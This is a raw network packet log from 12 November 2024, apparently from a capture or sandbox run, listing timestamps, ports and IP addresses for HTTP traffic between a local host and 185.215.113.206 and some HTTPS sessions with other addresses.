Nov 12, 2024 13:35:39.242747068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242758036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242769003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242778063 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242779970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242794037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242803097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242806911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242816925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242827892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242840052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242851973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242851973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242868900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242896080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.310431957 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.310935020 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.310970068 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.311382055 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.311392069 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.343632936 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.344356060 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.344383001 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.344809055 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.344815016 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.353082895 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.353101969 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.353173018 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.353200912 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.353240013 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.354068995 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.354084969 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.354140043 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.354146004 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.354161024 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.354178905 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.354806900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.354821920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.354834080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.354845047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.354873896 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.354873896 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.354899883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.355340958 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.355356932 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.355412006 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.355417967 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.355473995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355485916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355495930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355521917 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.355523109 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.355525017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355536938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355554104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355557919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.355557919 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.355561018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355570078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355571985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355576992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.355595112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.355619907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.356087923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356090069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356095076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356180906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.356283903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356296062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356312990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356318951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356319904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.356321096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356353045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.356353045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.356878996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356890917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356901884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356914043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356925964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356936932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356950045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356954098 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.356961966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356972933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356983900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.356986046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.356997967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357008934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357012987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357012987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357021093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357032061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357043028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357068062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357068062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357099056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357388973 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.357868910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357882023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357892990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357904911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357911110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357918024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357928991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357930899 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357942104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357950926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357963085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357970953 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.357975006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357985973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.357999086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358000040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358000040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358011007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358022928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358026981 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.358035088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358047009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358048916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358048916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358052015 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.358074903 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358102083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358515024 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.358522892 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.358841896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358855009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358871937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358887911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358899117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358906984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358911037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358922958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358923912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358933926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358935118 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358943939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358956099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358967066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358977079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358988047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.358994007 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358994007 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.358999014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359010935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359021902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359033108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359034061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359034061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359061956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359072924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359852076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359867096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359877110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359889984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359900951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359908104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359914064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359925032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359932899 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359936953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359945059 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359949112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359958887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359971046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359982967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359992981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.359993935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.359993935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360004902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360016108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360028028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360038042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360038042 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360038042 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360050917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360063076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360074043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360084057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360090971 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360090971 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360096931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360106945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360121012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360121012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360163927 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360740900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360754013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360761881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360774994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360788107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360799074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360810041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360821962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360826969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360826969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360835075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360841990 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360846996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360857964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360868931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360879898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360881090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.360893011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.360971928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.394181967 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.394625902 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.394654989 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.395051956 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.395056963 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.439969063 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.439999104 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.440042973 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.440104961 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.440354109 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.440354109 CET	62202	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.440373898 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.440385103 CET	443	62202	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.443516970 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.443542004 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.443741083 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.443741083 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.443768978 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.472065926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472081900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472093105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472096920 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.472127914 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.472153902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.472225904 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.472243071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.472253084 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.472321033 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.472374916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472395897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472408056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472419977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.472482920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.472568989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472580910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472662926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.472727060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472738981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472748995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.472769022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.472913027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.472965002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473104000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473114967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473124981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473136902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473138094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473149061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473153114 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473160982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473171949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473186970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473186970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473190069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473200083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473252058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473252058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473666906 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473679066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473689079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473697901 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.473701000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473711967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473720074 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.473722935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473722935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473731041 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473733902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473745108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473758936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.473772049 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.473777056 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.473790884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.473826885 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.473831892 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.473835945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474209070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474221945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474232912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474244118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474288940 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.474301100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474308014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474312067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474319935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474327087 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.474337101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474348068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474359989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474365950 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.474370003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474384069 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.474384069 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474416018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474416018 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.474890947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474901915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474910975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474922895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474934101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474945068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.474947929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474968910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.474994898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475004911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475016117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475025892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475033045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475038052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475049019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475056887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475097895 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475097895 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475570917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475584030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475594997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475596905 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.475606918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475616932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475616932 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.475619078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475637913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475646973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475652933 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475652933 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.475657940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475657940 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.475667000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475677967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475691080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475701094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475702047 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.475712061 CET	80	51556	185.215.113.206	192.168.2.6
